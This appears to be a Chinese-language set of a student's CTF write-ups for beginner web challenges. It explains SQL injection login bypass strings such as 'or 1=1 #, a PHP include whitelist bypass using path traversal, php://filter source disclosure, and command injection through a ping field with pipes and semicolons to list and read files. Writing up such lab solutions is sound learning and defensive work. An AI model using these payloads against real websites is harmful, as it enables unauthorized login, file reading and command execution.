这题用的是sql注入,什么是sql注入?
SQL注入就是在用户输入的字符串中添加SQL语句,如果在设计不良的程序中忽略了检查,那么这些注入进去的SQL语句就会被数据库服务器误认为是正常的SQL语句而运行,攻击者就可以执行计划外的命令或者访问未授权的数据。
题解参考1
参考2
下面是我的题解1:
一般的验证语句为:select * from table_name where username=’ ’ and password =’ ’
当我们输入账号为admin’ or 1=1#时,语句为:
select * from table_name where username=‘admin’ or 1=1#’ and password =‘xxx’
注意此时的就是username=admin or 1=1 (#或者–表示把后面东西注释掉)
直接登陆上
万能密码表
所谓的万能密码就是绕过登录验证直接进入管理员后台的密码,这种类型的密码可以通用到很多存在此漏洞的网站,所以称之为万能。万能密码表链接(也就是上面的参考题解1)
总结:
账号 'or 1=1 #
密码任意
(这个很好用!)
下面是我的题解2:
用or和and的优先级,and的优先级更高
用户名随便输入,啥都行,只需要密码是1’ or ‘1’='1
**username=‘amdin’ and password=‘1’ or ‘1’=‘1’
后面正确 直接登陆成功
这题查看一下源代码,注释里说当对cat传参后cat等于dog就会输出flag,
那就在url后面加上/?cat=dog
F12分析一下源代码
什么是payload参考
在计算机科学与电信领域,负载(英语:Payload)是数据传输中所欲传输的实际信息,通常也被称作实际数据或者数据体。信头与元数据,或称为开销数据,仅用于辅助数据传输。
比如有一位客户需要支付一笔费用委托货车司机运送一车石油,石油本身的重量、车子的重量、司机的重量等等,这些都属于载重(load)。但是对于该客户来说,他关心的只有石油的重量,所以石油的重量是有效载重(payload,也就是付费的重量)。
先了解几个函数:
几个题解:详解1 详解2 详解3
关于头文件的引用:题外知识,只是刚好看到
用尖括号引入标准头文件,使用双引号来引入自定义头文件(自己编写的头文件),这样就很容易区分头文件的区别。
解题过程:
首先进行代码审计,(不会php,代码注释放在此题下面,可能理解有误)
那先了解一下函数:
mb_substr(str1,start,[length][,[str2]]):是在str1从start开始length为长度截取字符串,str2是表示字符编码
mb_strpos(str1,str2):查找str2在str1中出现的位置
拼接起来就是:
mb_substr($page,0,mb_strpos($page . '?', '?'))就是在$page?里面匹配第一个问号,有两种可能:
如果$page=123456, $page . '?' = 123456? 那么就返回int(6) $_page=123456
如果$page=123?456, $page . '?' = 123?456? 那么就返回int(3) $_page=123
这个if语句也是判断$_page是否在白名单里,很显然我们无法绕过这个判断机制
发现有一个include包含函数,include函数就是引用后面所用的内容,就像include(./1.txt)用的是REQUEST传参(REQUEST传参就是可以接受POST传参,也可以接受GET传参),方便一点可以通过GET传入
构造一下payload就是
url?file=source.php?/…/…/…/…/ffffllllaaaagggg
首先存在白名单,然后过滤一次得到url?file=source.php,仍存在白名单,再过滤因为没有?保持原样,仍存在白名单,得到flag
这里的多层目录可以通过文件名四个f,l,a,g猜出来,这里不太理解url编码的用意,如果url编码两次,用url?file=source.php%253f/…/…/…/…/ffffllllaaaagggg也可以得到flag
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//白名单列表
if (! isset($page) || !is_string($page)) {
echo "you can't see it";//判断是否声明了是否是字符串
return false;
}
if (in_array($page, $whitelist)) {//in_array() 函数搜索数组中是否存在指定的值。
return true;//检测传进来的值是否匹配白名单列表$whitelist
}
$_page = mb_substr(//过滤问号的函数(如果$page的值有?则从?之前提取字符串),返回一部分
$page,
0,
mb_strpos($page . '?', '?')//返回某个字符串在别个字符串首次出现的位置
);
if (in_array($_page, $whitelist)) {
return true;//再次查找page是否在白名单内
}
$_page = urldecode($page);//对page进行一次url解码//此我们将?经过两次url编码,在服务器端提取参数时解码一次
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')//再次进行一次截断,获取?之前的内容
);
if (in_array($_page, $whitelist)) {//再次白名单
return true;
}//总结:判断(要有source.php或者hint.php),过滤?,判断(?前保留并且仍有file),url解码(?两次编码,感觉不编码也行,因为前面已经把这个?过滤掉了),过滤?(已经没有问号了,原样file=source.php),判断
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])//文件不为空
&& is_string($_REQUEST['file'])//文件是字符串
&& emmm::checkFile($_REQUEST['file'])//能够被检测到,被检测到就需要执行上面的程序
) {
include $_REQUEST['file'];//就可以被包含到
exit;
} else {
echo "
";
}
?>
点击提示得到下图,注意url最后是?file=flag.php
用伪协议,构建
url?file=php://filter/read=convert.base64-encode/resource=flag.php
总结:
在CTF 比赛中,php://filter 常用于读取一个页面的源码
格式:http://XXX/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
输入127.0.0.1|ls /查看根目录
可以看到里面有个flag,那就cat一下吧
cat命令的用途是连接文件或者标准输入并打印。这个命令常用来显示文件内容,或者将几个文件拼接起来显示,或者从标准输入读取内容并显示,它常与重定向符号配合使用。
详见:linux之cat命令
几种输入都可以,这道题就是利用管道符来做
可以直接在ping输入框中输入1;cat /fag;也可以 1|cat /flag 1&cat /flag
当然如果使用 ||必须需要前面是一个假的,就是前面条件为假才执行后面的,否则只执行前面的,所以可以用 a||cat /flag
管道符:
1、|(就是按位或),直接执行|后面的语句
2、||(就是逻辑或),如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
3、&(就是按位与),&前面和后面命令都要执行,无论前面真假
4、&&(就是逻辑与),如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
5、; 前后都执行,无论前面真假,同&,(linux也有)
转载自:BUUCTF [ACTF2020 新生赛]Exec